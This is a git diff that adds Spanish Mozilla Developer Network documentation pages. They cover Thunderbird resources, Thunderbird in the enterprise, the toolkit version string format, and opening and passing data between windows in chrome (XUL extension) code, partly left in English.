+<p>Thunderbird es el hermano menor de Firefox, y esta construido sobre la misma plataforma técnica que el navegador web. En desarrollo por varios años, y actualmente es uno de los más populares clientes de correo electrónico de código abierto, es utilizado por millones de personas pot todo el mundo para reunir todas las cuentas de correo electrónico, grupo de noticias y alimentar la lectura en un conocido entorno de alta productividad.  (A partir de principios del 2007 hasta principios del 2011 Thunderbird fue desarrollado por <a class="link-https" href="https://en.wikipedia.org/wiki/Mozilla_Messaging" title="https://en.wikipedia.org/wiki/Mozilla_Messaging">Mozilla Messaging</a>, una subsidiaria que era propiedad de Mozilla.)</p>
+<dl>
+  <dd>
+     </dd>
+</dl>
+<table class="topicpage-table">
+  <tbody>
+    <tr>
+      <td>
+        <h2 id="Documentation" name="Documentation"><a href="/Special:Tags?tag=Thunderbird&amp;language=en" title="Special:Tags?tag=Thunderbird&amp;language=en">Documentación</a></h2>
+        <dl>
+          <dt>
+            <a class="internal" href="/en/Simple_Thunderbird_build" title="en/Simple Thunderbird build">Construyendo Thunderbird</a></dt>
+          <dd>
+            <small>Información acerca de la construcción de Thunderbird con el repositorio <a href="/en/comm-central" title="en/comm-central">comm-central</a>. También hay informació acerca de <a href="/en/How_comm-central's_build_system_works" title="en/How_comm-central's_build_system_works">how comm-central works</a>, como el <a class="internal" href="/en/Mailnews_and_Mail_code_review_requirements" title="en/Mailnews and Mail code review requirements">review process works</a> y como usar el <a href="/en/Using_the_Mozilla_symbol_server" title="en/Using the Mozilla symbol server">Mozilla symbol server</a> para ayudar con la depuración</small></dd>
+          <dt>
+            <a href="/en/MailNews_Protocols" title="en/MailNews_Protocols">Protocolos MailNews</a></dt>
+          <dd>
+            Rigurosa documentación acerca de los protocolos de correo..</dd>
+          <dt>
+            <a href="/en/DB_Views_(message_lists)" title="en/DB_Views_(message_lists)">Vista de Base de Datos</a></dt>
+          <dd>
+            <small>Informació backend acerca de  {{ Interface("nsIMsgDBView") }} e interfaces relacionadas.</small>.</dd>
+          <dt>
+            <a class="internal" href="/en/Thunderbird/Thunderbird_API_documentation" title="en/Thunderbird/Thunderbird API documentation">Documentación de la API de Thunderbird</a></dt>
+          <dd>
+            Documentación de la API de thunderbird</dd>
+          <dt>
+            <a href="/en/Extensions/Thunderbird" title="en/Extensions/Thunderbird/">Extensión de la documentación</a></dt>
+          <dd>
+            <small>Tutoriales y consejor para la creació de extensiones de Thunderbird</small></dd>
+          <dt>
+            <a class="internal" href="/en/Thunderbird/Thunderbird_Automated_Testing" title="en/Thunderbird/Thunderbird Automated Testing">Pruebas Automatizadas</a></dt>
+          <dd>
+            <small>Detalles de las facilidades de las pruebas automatizadas de Thunderbird</small></dd>
+          <dt>
+            <a class="internal" href="/en/Thunderbird/Thunderbird_in_the_Enterprise" title="Thunderbird in the Enterprise">Thunderbird en la Empresa</a></dt>
+          <dd>
+            Ayuda con la implementación de Thunderbird en las grandes organizaciones</dd>
+        </dl>
+        <dl>
+        </dl>
+      </td>
+      <td>
+        <h2 id="Community" name="Community">Comunidad</h2>
+        <ul>
+          <li>El apoyo se maneja en <a class="external" href="http://getsatisfaction.com/mozilla_messaging" title="http://getsatisfaction.com/mozilla_messaging">getsatisfaction</a>.</li>
+        </ul>
+        <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">Preguntas de extensiones se discuten con frecuencia en el grupo dev-apps-thunderbird:</p>
+        <p style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">{{ DiscussionList("dev-apps-thunderbird", "mozilla.dev.apps.thunderbird") }}</p>
+        <ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none;">
+          <li>Los debates de desarrollo ocurren en la lista de correo tb-planning:</li>
+          <li><a class="link-https" href="https://mail.mozilla.org/listinfo/tb-planning" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;" title="https://mail.mozilla.org/listinfo/tb-planning">suscripción</a></li>
+          <li><a class="link-https" href="https://mail.mozilla.org/pipermail/tb-planning/" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;" title="https://mail.mozilla.org/pipermail/tb-planning/">archivos</a></li>
+        </ul>
+        <ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none;">
+          <li><a class="external" href="http://forums.mozillazine.org/viewforum.php?f=50" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;">Foro Mozillazine</a></li>
+          <li><a class="external" href="http://www.mozillamessaging.com/" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;">Página web de Mozilla Messaging</a></li>
+          <li><a class="link-irc" href="irc://irc.mozilla.org/thunderbird" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;">#thunderbird on irc.mozilla.org</a> (para Usuarios)</li>
+          <li><a class="link-irc" href="irc://irc.mozilla.org/maildev" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;">#maildev on irc.mozilla.org</a> (para Desarrolladores)</li>
+          <li>una lista de todos los <a class="external" href="http://wiki.mozilla.org/Thunderbird/CommunicationChannels" title="http://wiki.mozilla.org/Thunderbird/CommunicationChannels">canales de comunicación de Thunderbird</a></li>
+        </ul>
+        <h2 id="Herramientas">Herramientas</h2>
+        <ul style="margin-top: 0px; margin-right: 0px; margin-bottom: 1.286em; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px; list-style-type: none;">
+          <li><a class="external" href="http://ted.mielczarek.org/code/mozilla/extensiondev/" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;">Extensión de la extensión del desarrollador</a></li>
+          <li><a href="/en/DOM_Inspector" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;" title="en/DOM_Inspector">Inspector DOM</a></li>
+        </ul>
+        <h2 id="Related_Topics" name="Related_Topics">Tópicos Relacionados</h2>
+        <dl style="margin-top: 0px; margin-right: 0px; margin-bottom: 0px; margin-left: 0px; padding-top: 0px; padding-right: 0px; padding-bottom: 0px; padding-left: 0px;">
+          <dd style="margin-bottom: 20px; padding-left: 16px; border-bottom-width: 1px; border-bottom-style: dashed; margin-top: 0px; margin-right: 0px; margin-left: 0px; padding-top: 2px; padding-right: 0px; padding-bottom: 4px;">
+            <a href="/en/Extensions" style="text-decoration: none; color: rgb(51, 102, 153) !important; cursor: default;" title="en/Extensions">Extensiones</a></dd>
+        </dl>
+      </td>
+    </tr>
+  </tbody>
+  <tbody>
+    <tr>
+      <td> </td>
+      <td> </td>
+    </tr>
+  </tbody>
+</table>
+<p><br>
+  <span class="comment">Categories</span></p>
+<p><span class="comment">Interwiki Language Links</span></p>
diff --git a/files/es/mozilla/thunderbird/thunderbird_in_the_enterprise/index.html b/files/es/mozilla/thunderbird/thunderbird_in_the_enterprise/index.html
new file mode 100644
index 0000000000..681280ec5e
--- /dev/null
+++ b/files/es/mozilla/thunderbird/thunderbird_in_the_enterprise/index.html
@@ -0,0 +1,37 @@
+---
+title: Thunderbird en la empresa
+slug: Mozilla/Thunderbird/Thunderbird_in_the_Enterprise
+tags:
+  - empresa
+  - thunderbird
+translation_of: Mozilla/Thunderbird/Thunderbird_in_the_Enterprise
+---
+<p>Muchas organizaciones utilizan Mozilla Thunderbird como su cliente de correo. Esta página enlaza a documentos en la red de desarrolladores de mozilla (Mozilla Developer Network) y en cualquier sitio en la red que sea relevante al desarrollo de Mozilla Thunderbird en la empresa.</p>
+
+<ul>
+ <li>
+  <p style="margin-bottom: 0cm;">Desarrollando Mozilla Thunderbird en la empresa</p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0cm;"><font color="#000080"><span lang="zxx"><font color="#000000"><span style="text-decoration: none;">Autoconfiguración</span></font></span></font></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0cm;"><font color="#000080"><span lang="zxx"><font color="#000000"><span style="text-decoration: none;">Actualizando Mozilla Thunderbird en la empresa</span></font></span></font></p>
+ </li>
+ <li>
+  <p style="margin-bottom: 0cm;"><font color="#000080"><span lang="zxx"><font color="#000000"><span style="text-decoration: none;"><span style="background: transparent;">Configuraciones prefereidas de Mozilla Thunderbird en la empresa</span></span></font></span></font><font color="#000000"><span style="background: transparent;"> </span></font></p>
+ </li>
+ <li>
+  <p><font color="#000080"><span lang="zxx"><font color="#000000"><span style="text-decoration: none;">Tips para Mozilla Thunderbird</span></font></span></font></p>
+ </li>
+</ul>
+
+<p>La lista de correo <a class="external" href="http://groups.google.com/group/tb-enterprise" title="http://groups.google.com/group/tb-enterprise">tb-enterprise</a> está disponible para discutir acerca de Thunderbird en la empresa.</p>
+
+<p>A continuación, se presenta información útil sobre Mozilla en la Empresa en:</p>
+
+<ul>
+ <li>
+  <p>Michael Kaply ha escrito una serie de blogs que describen numerosos aspectos de la configuración de Mozilla Firefox para la empresa. Alguna de esta información versa sobre Thunderbird. Fíjese en su página "<a class="external" href="http://mike.kaply.com/?s=customizing+firefox" title="http://mike.kaply.com/?s=customizing+firefox">Customizing Firefox</a>" .</p>
+ </li>
+</ul>
diff --git a/files/es/mozilla/toolkit_version_format/index.html b/files/es/mozilla/toolkit_version_format/index.html
new file mode 100644
index 0000000000..9d4de58b0b
--- /dev/null
+++ b/files/es/mozilla/toolkit_version_format/index.html
@@ -0,0 +1,61 @@
+---
+title: Formato para la versión del Toolkit
+slug: Mozilla/Toolkit_version_format
+tags:
+  - Toolkit API
+translation_of: Mozilla/Toolkit_version_format
+---
+<p>Este documento es una referencia para el formato de versión, tal como se usa en Firefox 1.5 (<a href="es/XULRunner">XULRunner</a> 1.8) y posteriores. Este formato se usa por el administrador de extensiones, la actualización de software y otras partes de la plataforma. Las versiones en, al menos, los siguientes lugares deben ser conformes a este formato:</p>
+<ul>
+  <li>La <a href="es/Instalar_el_manifest#version">versión</a> del complemento y la <a href="es/Instalar_el_manifest#targetApplication">aplicación de destino</a> en el manifiesto de <a href="es/Instalar_el_manifest">instalación</a> y de <a href="es/Instalar_el_manifest#updateURL">actualización</a>.</li>
+  <li>Las siguientes preferencias: <code>app.extensions.version</code>, <code>extensions.lastAppVersion</code>.</li>
+  <li>Versiones devueltas por <a href="es/NsIXULAppInfo">nsIXULAppInfo</a>.</li>
+  <li><a href="es/XUL_Application_Packaging"><code>application.ini</code></a> en aplicaciones <a href="es/XULRunner">XULRunner</a>.</li>
+  <li><a href="es/Chrome_Registration#appversion">Modificador appversion</a> en los <a href="es/Chrome_Registration">manifiestos de chrome</a>.</li>
+</ul>
+<p>Puede usar <a href="es/NsIVersionComparator">nsIVersionComparator</a> para comparar versiones de su aplicación.</p>
+<p>Véase {{ Anch("Formatos de versión previas") }} más abajo para una descripción del formato de versión anterior usado en Firefox/Thunderbird 1.0.</p>
+<h3 id="Formato_de_versi.C3.B3n" name="Formato_de_versi.C3.B3n">Formato de versión</h3>
+<p>Una <b>cadena de versión</b> consiste en una o más <i>partes de versión</i>, separadas con puntos.</p>
+<p>Cada <b>parte de versión</b> es en sí misma interpretada como una secuencia de cuatro partes: &lt;tt&gt;&lt;número-a&gt;&lt;cadena-b&gt;&lt;número-c&gt;&lt;cadena-d&gt;&lt;/tt&gt;. Cada una de las partes es opcional. Los números son enteros en base 10 (pueden ser negativos); las cadenas son ASCII.</p>
+<p>Algunos ejemplos de partes de versión válidas:</p>
+<ul>
+  <li>&lt;tt&gt;0&lt;/tt&gt; (como en &lt;tt&gt;1.0&lt;/tt&gt;): &lt;tt&gt;&lt;número-a&gt;=0&lt;/tt&gt;</li>
+  <li>&lt;tt&gt;5a&lt;/tt&gt; (como en &lt;tt&gt;1.5a&lt;/tt&gt;): &lt;tt&gt;&lt;número-a&gt;=5&lt;/tt&gt;, &lt;tt&gt;&lt;cadena-b&gt;=a&lt;/tt&gt;</li>
+  <li>&lt;tt&gt;5pre4&lt;/tt&gt; (como en &lt;tt&gt;3.5pre4&lt;/tt&gt;): &lt;tt&gt;&lt;número-a&gt;=5&lt;/tt&gt;, &lt;tt&gt;&lt;cadena-b&gt;=pre&lt;/tt&gt;, &lt;tt&gt;&lt;número-c&gt;=4&lt;/tt&gt;</li>
+  <li>&lt;tt&gt;*&lt;/tt&gt; (como en &lt;tt&gt;1.0.*&lt;/tt&gt;): &lt;tt&gt;&lt;cadena-b&gt;=*&lt;/tt&gt;</li>
+</ul>
+<p>Se aplican algunas reglas especiales de interpretación con el fin de proporcionar compatibilidad hacia atrás y legibilidad:</p>
+<ul>
+  <li>si la parte de versión es un solo asterisco, se interpreta como un número infinitamente largo:<br>
+    &lt;tt&gt;1.5.0.*&lt;/tt&gt; es lo mismo que &lt;tt&gt;1.5.0.<i>(infinito)</i>&lt;/tt&gt;</li>
+  <li>si cadena-b es un signo más, número-a se incrementa para ser compatible con el formato de versión de Firefox 1.0.x:<br>
+    &lt;tt&gt;1.0+&lt;/tt&gt; es lo mismo que &lt;tt&gt;1.1pre&lt;/tt&gt;</li>
+</ul>
+<p>La lógica tras el particionado de una parte de versión en una secuencia de cadenas y números es que, cuando se comparan partes de versión, las partes numéricas se comparan como números, por ejemplo: '1.0pre1' &lt; '1.0pre10', mientras que las cadenas se comparan byte a byte. Véase la siguiente sección para obtener detalles sobre cómo se comparan las versiones.</p>
+<h3 id="Comparar_versiones" name="Comparar_versiones">Comparar versiones</h3>
+<p>Cuando se comparan dos cadenas de versión, sus partes de versión se comparan de izquierda a derecha. Una parte de versión vacía o no presente equivale a <code>0</code>.</p>
+<p>Si en algún punto una parte de una cadena de versión es mayor que la parte correspondiente de otra cadena de versión, entonces la primera cadena de versión es mayor que la otra.</p>
+<p>En caso contrario, las cadenas de versión son iguales. Observe que, puesto que las partes de versión no presentes se tratan como si fueran <code>0</code>, las siguientes cadenas de versión son iguales: <code>1</code>, <code>1.0</code>, <code>1.0.</code>, <code>1.0.0</code>, e incluso <code>1.0...</code></p>
+<h4 id="Comparar_partes_de_versi.C3.B3n" name="Comparar_partes_de_versi.C3.B3n">Comparar partes de versión</h4>
+<p>Las partes de versión también se comparan de izquierda a derecha; las partes A y C se comparan como números, mientras que las partes B y D se comparan byte a byte. Una parte de tipo cadena que exista es siempre menor que una parte de tipo cadena no existente (&lt;tt&gt;1.6a&lt;/tt&gt; es menor que &lt;tt&gt;1.6&lt;/tt&gt;).</p>
+<h3 id="Ejemplos" name="Ejemplos">Ejemplos</h3>
+<pre class="eval">1.-1
+&lt; 1 == 1. == 1.0 == 1.0.0
+&lt; 1.1a &lt; 1.1aa &lt; 1.1ab &lt; 1.1b &lt; 1.1c
+&lt; 1.1whatever
+&lt; 1.1pre == 1.1pre0 == 1.0+
+&lt; 1.1pre1a &lt; 1.1pre1aa &lt; 1.1pre1b &lt; 1.1pre1
+&lt; 1.1pre2
+&lt; 1.1pre10
+&lt; 1.1.-1
+&lt; 1.1 == 1.1.0 == 1.1.00
+&lt; 1.10
+&lt; 1.* &lt; 1.*.1
+&lt; 2.0
+</pre>
+<h3 id="Formatos_de_versi.C3.B3n_previas" name="Formatos_de_versi.C3.B3n_previas">Formatos de versión previas</h3>
+<p>Firefox y Thunderbird 1.0 usaban un formato de versión más simple, en concreto</p>
+<pre class="eval">mayor[.menor[.publicación[.compilación]]][+]
+</pre>
+<p>donde &lt;tt&gt;{{ mediawiki.external('..') }}&lt;/tt&gt; designa un componente opcional y &lt;tt&gt;mayor&lt;/tt&gt;, &lt;tt&gt;menor&lt;/tt&gt;, &lt;tt&gt;publicación&lt;/tt&gt; y &lt;tt&gt;compilación&lt;/tt&gt; son todos enteros no negativos.</p>
diff --git a/files/es/mozilla/working_with_windows_in_chrome_code/index.html b/files/es/mozilla/working_with_windows_in_chrome_code/index.html
new file mode 100644
index 0000000000..74ac175a82
--- /dev/null
+++ b/files/es/mozilla/working_with_windows_in_chrome_code/index.html
@@ -0,0 +1,386 @@
+---
+title: Trabajar con ventanas desde código chrome
+slug: Mozilla/Working_with_windows_in_chrome_code
+tags:
+  - Extensions
+  - páginas_a_traducir
+translation_of: Mozilla/Working_with_windows_in_chrome_code
+---
+<p>Este artículo describe el trabajo con múltiples ventanas en código chrome Mozilla (aplicaciones XUL y extensiones). Contiene trucos y código de ejemplo para abrir nuevas ventanas, encontrar las ventanas ya abiertas, y pasar datos entre diferentes ventanas.</p>
+
+<h3 id="Abrir_ventanas">Abrir ventanas</h3>
+
+<p>Para abrir una ventana nueva, solemos usar la llamada DOM window.open o window.openDialog, así:</p>
+
+<pre class="eval">var win = window.open("<a class="external" rel="freelink">chrome://myextension/content/about.xul</a>",
+                      "aboutMyExtension", "chrome,centerscreen");
+</pre>
+
+<p>El primer parámetro de window.open es la URI del archivo XUL que describe la ventana y su contenido.</p>
+
+<p>El segundo parámetro es el nombre de la ventana. El nombre de la ventana puede ser usado en enlaces o formularios como el atributo target. Esto es diferente del título de ventana visible por el usuario, que es especificado usando XUL.</p>
+
+<p>El tercer, y opcional, parámetro es una lista de las características especiales que la ventana debería tener.</p>
+
+<p>La función window.openDialog funciona de forma similar, pero te permite especificar argumentos opcionales que pueden ser referenciados desde el código JavaScript. También maneja las funciones de ventana de forma un poco distinta, suponiendo siempre que la funcionalidad dialog es especificada.</p>
+
+<p>Si el objeto Window no está disponible (por ejemplo, al abrir una ventana desde código de componente XPCOM), puedes querer usar la interfaz nsiWindowWatcher. Sus parámetros son similares a window.open. En realidad, la implementación de window.open llama a métodos de nsiWindowWatcher.</p>
+
+<pre class="eval">var ww = Components.classes["@mozilla.org/embedcomp/window-watcher;1"]
+                   .getService(Components.interfaces.nsIWindowWatcher);
+var win = ww.openWindow(null, "<a class="external" rel="freelink">chrome://myextension/content/about.xul</a>",
+                        "aboutMyExtension", "chrome,centerscreen", null);
+</pre>
+
+<h3 id="Window_object" name="Window_object">Window object</h3>
+
+<p>Note the <code>win</code> variable in the above section, which is assigned the return value of <code>window.open</code>. It can be used to access the opened window. The return value of <code>window.open</code> (and similar methods) is a <code><a class="external" href="http://xulplanet.com/references/objref/Window.html">Window</a></code> object (usually <code><a class="external" href="http://xulplanet.com/references/objref/ChromeWindow.html">ChromeWindow</a></code>), of the same type that the <code>window</code> variable.</p>
+
+<p>Technically speaking, it implements a number of interfaces, including <code><a href="/es/NsIDOMJSWindow" title="es/NsIDOMJSWindow">nsIDOMJSWindow</a></code> and <code><a href="/es/NsIDOMWindowInternal" title="es/NsIDOMWindowInternal">nsIDOMWindowInternal</a></code>, but it also contains the user-defined properties for global variables and functions of the window. So, for example, to access the DOM document corresponding to the window, you can use <code><a href="/es/DOM/window.document" title="es/DOM/window.document">win.document</a></code>.</p>
+
+<p>Note however, that the <code>open()</code> call returns <em>before</em> the window is fully loaded, so some calls, like <code><a href="/es/DOM/document.getElementById" title="es/DOM/document.getElementById">win.document.getElementById()</a></code> will fail. To overcome this difficulty, you can move the initialization code to a <code>load</code> handler of the window being opened or pass a callback function, as described <a href="#callback">below</a>.</p>
+
+<p>You can get a <code>Window</code> object from a document using <code><a href="/es/DOM/document.defaultView" title="es/DOM/document.defaultView">document.defaultView</a></code>.</p>
+
+<h3 id="Content_windows" name="Content_windows">Content windows</h3>
+
+<p>When a XUL window contains a widget capable of displaying a page, such as <code>&lt;browser&gt;</code> or <code>&lt;iframe&gt;</code>, the document in that widget is, naturally, separate from the document of the chrome window itself. There also is a <code>Window</code> object for each sub-document, although there's no window in a common sense for the sub-document.</p>
+
+<p>The same holds for chrome windows opened inside a tab of <code>&lt;tabbrowser&gt;</code>. The elements above the chrome document opened in the tab are separate from your chrome document.</p>
+
+<p>The following two subsections describe how to cross chrome-content boundaries in either way, i.e. accessing elements which are ancestors of your chrome document, or accessing elements which are descendants of your chrome document (but nevertheless in a different context).</p>
+
+<h4 id="Accessing_content_documents" name="Accessing_content_documents">Accessing content documents</h4>
+
+<p>Assume you have a document loaded in a <code>&lt;tabbrowser&gt;</code>, <code>&lt;browser&gt;</code>, or <code>&lt;iframe&gt;</code> element inside your document. You can use <code>browser.contentDocument</code> to access that document and <code>browser.contentWindow</code> to the <code>Window</code> object of that document.</p>
+
+<p>You should be aware of <a href="/es/XPCNativeWrapper" title="es/XPCNativeWrapper">XPCNativeWrappers</a> when working with <a href="/es/XPCNativeWrapper#What_is_a_trusted_window.3F" title="es/XPCNativeWrapper#What_is_a_trusted_window.3F">untrusted content</a>. With XPCNativeWrappers turned on (which is the default in Firefox 1.5+), your extension can safely access the DOM of the content document, but not the content JavaScript. Bypassing XPCNativeWrapper to work with content JavaScript directly can lead to security problems.</p>
+
+<p>See <a href="/es/Code_snippets/Interaction_between_privileged_and_non-privileged_pages" title="es/Code_snippets/Interaction_between_privileged_and_non-privileged_pages">Interaction between privileged and non-privileged pages</a> if you need to interact with the content page.</p>
+
+<h5 id="The_content_shortcut" name="The_content_shortcut">The <code>content</code> shortcut</h5>
+
+<p>In case of <code>&lt;browser type="content-primary"/&gt;</code>, you can use the <a href="/es/DOM/window.content" title="es/DOM/window.content">content</a> shortcut property to accesss the <code>Window</code> object of the content document. For example:</p>
+
+<pre class="eval">// alerts the title of the document displayed in the content-primary widget
+
+alert(content.document.title);
+</pre>
+
+<p>For example, you can use <code>content.document</code> in a <code>browser.xul</code> overlay to access the web page in the selected tab in a Firefox window.</p>
+
+<div class="note">Some examples use <code>_content</code> instead of <code>content</code>. The former has been deprecated for a while, and you should use <code>content</code> in the new code.</div>
+
+<h4 id="Accessing_a_document_in_the_sidebar" name="Accessing_a_document_in_the_sidebar">Accessing a document in the sidebar</h4>
+
+<p>Firefox has a sidebar, which is implemented as a <code>&lt;browser&gt;</code> element with id="sidebar". To access the elements and variables inside the sidebar, you need to use <code>document.getElementById("sidebar").contentDocument</code> or <code>.contentWindow</code>, like when {{ Anch("Accessing content documents") }}.</p>
+
+<p>For more sidebar tips, see <a href="/es/Code_snippets/Sidebar" title="es/Code_snippets/Sidebar">Code snippets:Sidebar</a>.</p>
+
+<h4 id="Accessing_the_elements_of_the_top-level_document_from_a_child_window" name="Accessing_the_elements_of_the_top-level_document_from_a_child_window">Accessing the elements of the top-level document from a child window</h4>
+
+<p>The opposite case is when you want to access the chrome document from a privileged script loaded in a <code>&lt;browser&gt;</code> or an <code>&lt;iframe&gt;</code>.</p>
+
+<p>A typical case when this can be useful is when your code runs in the sidebar in the main Firefox window and you want to access the elements in the main browser window.</p>
+
+<p>The DOM tree, as shown by the <a href="/es/DOM_Inspector" title="es/DOM_Inspector">DOM Inspector</a>, can look like this:</p>
+
+<pre class="eval">#document
+  window                 main-window
+    ...
+      browser
+        #document
+          window         myExtensionWindow
+</pre>
+
+<p>where the child window is where your code runs in.</p>
+
+<p>Your task is to access elements above your chrome document, i.e. to break out of your chrome window and access the ancestors. This can be done using the following statement:</p>
+
+<pre class="eval">var mainWindow = window.QueryInterface(Components.interfaces.nsIInterfaceRequestor)
+                   .getInterface(Components.interfaces.nsIWebNavigation)
+                   .QueryInterface(Components.interfaces.nsIDocShellTreeItem)
+                   .rootTreeItem
+                   .QueryInterface(Components.interfaces.nsIInterfaceRequestor)
+                   .getInterface(Components.interfaces.nsIDOMWindow)
+</pre>
+
+<p>This allows you to cross the chrome-content boundaries, and returns the main window object.</p>
+
+<h3 id="Finding_already_opened_windows" name="Finding_already_opened_windows">Finding already opened windows</h3>
+
+<p>The window mediator XPCOM component (<a href="/es/NsIWindowMediator" title="es/NsIWindowMediator">nsIWindowMediator</a> interface) provides information about existing windows. Two of its methods are often used to obtain information about currently open windows: <code>getMostRecentWindow</code> and <code>getEnumerator</code>. Please refer to the <a href="/es/NsIWindowMediator" title="es/NsIWindowMediator">nsIWindowMediator</a> page for more information and examples of using <code>nsIWindowMediator</code>. <span class="comment">=== Example: Opening a window only if it's not opened already === XXX TBD</span></p>
+
+<h3 id="Passing_data_between_windows" name="Passing_data_between_windows">Passing data between windows</h3>
+
+<p>When working with multiple windows, you often need to pass information from one window to another. Since different windows have separate DOM documents and global objects for scripts, you can't just use one global JavaScript variable in scripts from different windows.</p>
+
+<p>There are several techniques of varying power and simplicity that can be used to share data. We'll demonstrate them from the simplest to the most complex in the next few sections.</p>
+
+<h4 id="Example_1:_Passing_data_to_window_when_opening_it_with_openDialog" name="Example_1:_Passing_data_to_window_when_opening_it_with_openDialog">Example 1: Passing data to window when opening it with <code>openDialog</code></h4>
+
+<p>When you open a window using <code><a href="/es/DOM/window.openDialog" title="es/DOM/window.openDialog">window.openDialog</a></code> or <code>nsIWindowWatcher.openWindow</code>, you can pass an arbitrary number of <em>arguments</em> to that window. Arguments are simple JavaScript objects, accessible through <code><a href="/es/DOM/window.arguments" title="es/DOM/window.arguments">window.arguments</a></code> property in the opened window.</p>
+
+<p>In this example, we're using <code>window.openDialog</code> to open a progress dialog. We pass in the current status text as well as the maximum and current progress values. Note that using <code>nsIWindowWatcher.openWindow</code> is a bit less trivial . <span class="comment">TODO: link to <a href="/es/How_To_Pass_an_XPCOM_Object_to_a_New_Window" title="es/How_To_Pass_an_XPCOM_Object_to_a_New_Window">How To Pass an XPCOM Object to a New Window</a> when it has a more useful example</span></p>
+
+<p>Opener code:</p>
+
+<pre class="eval">window.openDialog("<a class="external" rel="freelink">chrome://test/content/progress.xul</a>",
+                  "myProgress", "chrome,centerscreen",
+                  {status: "Reading remote data", maxProgress: 50, progress: 10} );
+</pre>
+
+<p><code>progress.xul</code>:</p>
+
+<pre>&lt;?xml version="1.0"?&gt;
+&lt;?xml-stylesheet href="chrome://global/skin/" type="text/css"?&gt;
+
+&lt;window onload="onLoad();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"&gt;
+&lt;script&gt;&lt;![CDATA[
+  var gStatus, gProgressMeter;
+  var maxProgress = 100;
+  function onLoad() {
+    gStatus = document.getElementById("status");
+    gProgressMeter = document.getElementById("progressmeter");
+
+    if("arguments" in window &amp;&amp; window.arguments.length &gt; 0) {
+      maxProgress = window.arguments[0].maxProgress;
+      setProgress(window.arguments[0].progress);
+      setStatus(window.arguments[0].status);
+    }
+  }
+
+  function setProgress(value) {
+    gProgressMeter.value = 100 * value / maxProgress;
+  }
+
+  function setStatus(text) {
+    gStatus.value = "Status: " + text + "...";
+  }
+]]&gt;&lt;/script&gt;
+
+&lt;label id="status" value="(No status)"/&gt;
+&lt;hbox&gt;
+  &lt;progressmeter id="progressmeter" mode="determined"/&gt;
+  &lt;button label="Cancel" oncommand="close();"/&gt;
+&lt;/hbox&gt;
+
+&lt;/window&gt;
+</pre>
+
+<h4 id="Example_2:_Interacting_with_the_opener" name="Example_2:_Interacting_with_the_opener">Example 2: Interacting with the opener</h4>
+
+<p>Sometimes an opened window needs to interact with its opener; for example, it might do so in order to give notice that the user has made changes in the window. You can find the window's opener using its <a href="/es/Window.opener" title="es/Window.opener">window.opener</a> property or via a callback function passed to the window in a way described in the previous section.</p>
+
+<p>Let's add code to the previous example to notify the opener when the user presses Cancel on the progress dialog.</p>
+
+<ul>
+ <li><strong>Using <code>window.opener</code>.</strong> The <code>opener</code> property returns its window's opener; that is, the {{ Anch("Window object") }} that opened it.</li>
+</ul>
+
+<p>If we're sure the window that opened the progress dialog declares the <code>cancelOperation</code> function, we can use <code>window.opener.cancelOperation()</code> to notify it, like this:</p>
+
+<pre class="eval">&lt;button label="Cancel" oncommand="<strong>opener.cancelOperation();</strong> close();"/&gt;
+</pre>
+
+<ul>
+ <li><strong>Using a callback function.</strong> Alternatively, the opener window can pass a callback function to the progress dialog in the same way we passed the status string in the previous example:</li>
+</ul>
+
+<pre class="eval">function onCancel() {
+  alert("Operation canceled!");
+}
+
+...
+
+window.openDialog("<a class="external" rel="freelink">chrome://test/content/progress.xul</a>",
+                  "myProgress", "chrome,centerscreen",
+                  {status: "Reading remote data", maxProgress: 50, progress: 10},
+                  <strong>onCancel</strong>);
+</pre>
+
+<p>The progress dialog can then run the callback like this:</p>
+
+<pre class="eval">&lt;button label="Cancel" oncommand="<strong>window.arguments[1]();</strong> close();"/&gt;
+</pre>
+
+<h4 id="Example_3:_Using_nsIWindowMediator_when_opener_is_not_enough" name="Example_3:_Using_nsIWindowMediator_when_opener_is_not_enough">Example 3: Using <code>nsIWindowMediator</code> when <code>opener</code> is not enough</h4>
+
+<p>The <code>window.opener</code> property is very easy to use, but it's only useful when you're sure that your window was opened from one of a few well-known places. In more complicated cases you need to use the <code><a href="/es/NsIWindowMediator" title="es/NsIWindowMediator">nsIWindowMediator</a></code> interface, introduced above.</p>
+
+<p>One case in which you might want to use <code>nsIWindowMediator</code> is in an extension's Options window. Suppose you're developing a browser extension that consists of a browser.xul overlay and an Options window. Suppose the overlay contains a button to open the extension's Options window which needs to read some data from the browser window. As you may remember, Firefox's Extension Manager can also be used to open your Options dialog.</p>
+
+<p>This means the value of <code>window.opener</code> in your Options dialog is not necessarily the browser window -- instead, it might be the Extension Manager window. You could check the <code>location</code> property of the <code>opener</code> and use <code>opener.opener</code> in case it's the Extension Manager window, but a better way is to use <code>nsIWindowMediator</code>:</p>
+
+<pre class="eval">var wm = Components.classes["@mozilla.org/appshell/window-mediator;1"]
+                   .getService(Components.interfaces.nsIWindowMediator);
+var browserWindow = wm.getMostRecentWindow("navigator:browser");
+// read values from |browserWindow|
+</pre>
+
+<p>You might be tempted to use a similar technique to apply the changes the user made in the Options dialog, but a better way to do that is to use <a class="external" href="http://kb.mozillazine.org/Dev_:_Using_preferences#Using_preferences_observers">preferences observers</a>.</p>
+
+<h3 id="Advanced_data_sharing" name="Advanced_data_sharing">Advanced data sharing</h3>
+
